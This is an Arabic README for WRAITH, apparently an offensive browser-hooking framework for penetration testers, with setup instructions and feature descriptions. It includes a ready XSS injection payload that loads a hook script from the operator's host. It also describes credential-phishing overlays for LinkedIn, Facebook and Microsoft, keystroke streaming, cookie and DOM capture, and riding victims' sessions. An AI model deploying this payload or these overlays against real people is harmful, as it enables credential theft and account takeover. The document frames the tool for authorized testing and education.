
إطار عمل لربط المتصفحات مخصص لفرق الاختراق الأخلاقي المصرح لهم والمعلمين. يربط المتصفحات عبر XSS، ويوفر تحكمًا تفاعليًا بعد الاستغلال، والتقاط غنائم XSS العمياء، وتراكبات الهندسة الاجتماعية، ومختبرًا للتدريب العملي.
إطار عمل حديث ومستقل لربط المتصفحات لفرق الاختراق الأخلاقي، وباحثي الأمن، والمعلمين — خليفة نظيف التصميم لأدوات BeEF وأدوات استدعاء blind-XSS التي نعتمد عليها.
للاستخدام المصرح به في الاختبارات الأمنية والبحث والتعليم فقط. WRAITH هو أداة أمن هجومية لعرض واختبار تقنيات التصيد / الرجل في المتصفح / blind-XSS. استخدمه فقط ضد أنظمة وأشخاص لديك تفويض صريح لاختبارهم. أنت مسؤول عن طريقة استخدامك له.

خلال عملنا في Arcanum، كنا نستخدم باستمرار نوعين مختلفين من الأدوات ونتمنى لو كانا شيئًا واحدًا.
من جهة كان BeEF — إطار عمل استغلال المتصفحات — لسير العمل الكلاسيكي اربط متصفحًا، ثم اعمل من داخل جلسته: سجّل ضغطات مفاتيح لصفحة تسجيل دخول مزيفة، استكشف الشبكة المحلية، ادفع وحدة إلى ضحية حية. إنها الأداة التي استخدمناها لجعل مفهوم الرجل في المتصفح حقيقيًا للناس. لكنها تُظهر عمرها، وأجزاء كبيرة منها غير موثوقة في متصفحات اليوم، وطبقات الهندسة الاجتماعية تبدو كصفحات تسجيل دخول من عقد مضى.
من جهة أخرى كانت أدواتنا المفضلة لأطر استدعاء blind-XSS (XSS Hunter، ezXSS): ضع حمولة في حقل، وبمجرد أن تنفجر في مكان لا يمكنك رؤيته، تتصل بالمركز مع الغنيمة — المصدر، ملفات تعريف الارتباط، DOM، لقطة شاشة.
ما كنا نحتاجه بشكل متزايد — خاصة مع تحول المزيد من أهدافنا إلى أنظمة تطبيقات الذكاء الاصطناعي، حيث تتدفق النصوص غير الموثوقة عبر الوكلاء، ومخرجات الأدوات، وقوائم مراجعة المشرفين، ووحدات تحكم الدعم، وتُطلق JavaScript في أماكن لا يراقبها أحد — كان إطار عمل واحدًا يقوم بالأمرين معًا: التحكم التفاعلي المستمر بعد الاستغلال مثل ربط BeEF، و غنيمة استدعاء blind-XSS من نوع أطلق وانسَ، في حمولة واحدة موثوقة في المتصفحات الحالية وتبدو كشاشات تسجيل الدخول الحقيقية اليوم.
لذا بنينا WRAITH.
نحن نطلق WRAITH مبكرًا، وبشكل متعمد. نفضل وضعه في أيدي الأشخاص الذين سيستخدمونه فعليًا — ونسمع ما الذي يتعطل — على الاحتفاظ به حتى "يكتمل".
هذا يعني: توقع حواف خشنة وأخطاء. بعض الوحدات أكثر اختبارًا من غيرها، وسلوك المتصفحات يتغير باستمرار تحتنا (انظر ملاحظات فحص الشبكة أدناه)، وقد تتغير واجهات البرمجة بين الإصدارات. إذا واجهت شيئًا، يرجى فتح مشكلة — خطوات إعادة الإنتاج، المتصفح + الإصدار، وما توقعته هي ذهب. الترحيب بالطلبات تحت شروط المساهمة للمشروع.
أسرع مسار. تحتاج إلى Docker و Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
يرشدك setup.sh خلال كل شيء:
.env مستبعدًا من git (chmod 600)، ويبني ويشغّل الحاوية. وحدة تحكم المشغل : http://YOUR_IP:8090/operator/
صفحة تسجيل الدخول : http://YOUR_IP:8090/login (المستخدم "operator")
صفحة ضحية تجريبية : http://YOUR_IP:8090/demo/
حمولة الربط : http://YOUR_IP:8090/hook.js
حمولة XSS جاهزة للإدراج:
"><script src="http://YOUR_IP:8090/hook.js"></script>
أدره بأوامر compose القياسية:
docker compose logs -f # راقبه
docker compose down # أوقفه (يحتفظ بـ ./data)
./setup.sh # أعد التهيئة (دور كلمة المرور، غيّر العنوان، …)
تستمر الجلسات الملتقطة في ./data/ على المضيف — أبدًا مدمجة في الصورة، أبدًا ملتزمة (.env و data/ مستبعدان من git).
وحدة تحكم المشغل محمية بتسجيل دخول كلما تم تعيين كلمة مرور مشغل، مع تسجيل دخول باسم مستخدم وكلمة مرور:

npm install
npm start
ثم افتح وحدة تحكم المشغل على http://127.0.0.1:3000/operator/ وصفحة الضحية التجريبية على http://127.0.0.1:3000/demo/ (في متصفح/ملف تعريف ثانٍ). على localhost، تسجيل الدخول معطل افتراضيًا للراحة — الخادم يرفض الارتباط بواجهة عامة بدون كلمة مرور مشغل، لذا لا يمكنك كشف لوحة مفتوحة عن طريق الخطأ.
/hook.js حمولة صغيرة. ضعها في أي صفحة تتحكم بها (<script src="/hook.js"></script>) أو سلّمها عبر XSS في هدفك. المتصفح الذي يحمّلها يفتح WebSocket عائدًا إلى المشغل، ويبصم نفسه (المتصفح، نظام التشغيل، IP، الصفحة، UA)، ويعيد الاتصال تلقائيًا، وينجو من التنقل. كل متصفح مربوط يظهر مباشرة في وحدة التحكم، حيث تختار واحدًا وتقوده — لوحة المعلومات الكاملة هي اللقطة الرئيسية في أعلى هذا README: قائمة المتصفحات المربوطة، تفاصيل الهدف، عناصر التحكم في النشر، موجز النشاط الحي، والبيانات المعتمدة الملتقطة.
طبقات تسجيل دخول مزيفة حديثة، تُعرض في shadow DOM معزول بحيث تبدو دقيقة البكسلات على أي صفحة مضيفة وتضبب الصفحة خلفها مثل نافذة إعادة مصادقة حقيقية. تأتي مع LinkedIn و Facebook و Microsoft / Office 365 (بريد إلكتروني → كلمة مرور أصيل من خطوتين).

كل حرف يكتبه الهدف في طبقة يتدفق إلى وحدة التحكم في الوقت الفعلي، والبيانات المعتمدة المُرسلة تصل إلى البيانات المعتمدة الملتقطة — كلها محفوظة بحيث لا يُفقد شيء عند التحديث أو إعادة التشغيل.

لحظة ربط المتصفح، يطلق WRAITH تلقائيًا التقاط الصفحة: بالضبط ما يلتقطه إطار blind-XSS عندما تنفجر حمولتك في مكان لا يمكنك رؤيته — أين انفجرت (المصدر + URL + المُحيل)، ملفات تعريف الارتباط للضحية (غير HttpOnly)، DOM الكامل، ولقطة شاشة. يتم الإبلاغ عن الإخفاقات بصدق، لأنها هي الدرس: ملفات تعريف الارتباط HttpOnly لا تظهر أبدًا، و CSP أو تلويث canvas عبر المصادر يمكن أن يمنع لقطة الشاشة.

هنا يذهب WRAITH أبعد من الأدوات التي يستبدلها. عندما تنجح في XSS أعمى أو ربط في صفحة، تتوقف معظم الأطر عند لقطة شاشة وتفريغ HTML خام — يمكنك رؤية أين انفجرت حمولتك، لكن لا يمكنك فعليًا فعل أي شيء بها.
مرآة الصفحة في WRAITH تحوّل تلك الغنيمة المسدودة إلى عرض حي وقابل للتنقل للتطبيق. افتح الصفحة المربوطة كعرض متصفح حقيقي ومُعرض داخل وحدة تحكم المشغل — ثم انقر الروابط وتنقل عبر التطبيق بصريًا، تمامًا كما تفعل الضحية.

المفتاح: كل تنقل يُجلب عبر المتصفح المربوط، لذا يركب جلسة الضحية وثقة نفس المصدر. أي صفحة أو نقطة نهاية أو ميزة يمكن لجلسة الضحية الوصول إليها، يمكنك الوصول إليها أيضًا — بما في ذلك الصفحات المحمية خلف ملف تعريف ارتباط جلسة مصادق لا تراه أبدًا (ولكونه HttpOnly، لا يمكنك سرقته صراحةً أبدًا).
في المثال أدناه، نبدأ من قائمة تذاكر وكيل دعم وننقر مباشرة إلى خزنة بيانات معتمدة داخلية — صفحة لا تُحل إلا داخل جلسة وكيل مصادق. لا بيانات معتمدة مُصطادة، ولا ملف تعريف ارتباط مسروق: ببساطة ركبنا جلسة الضحية إليها.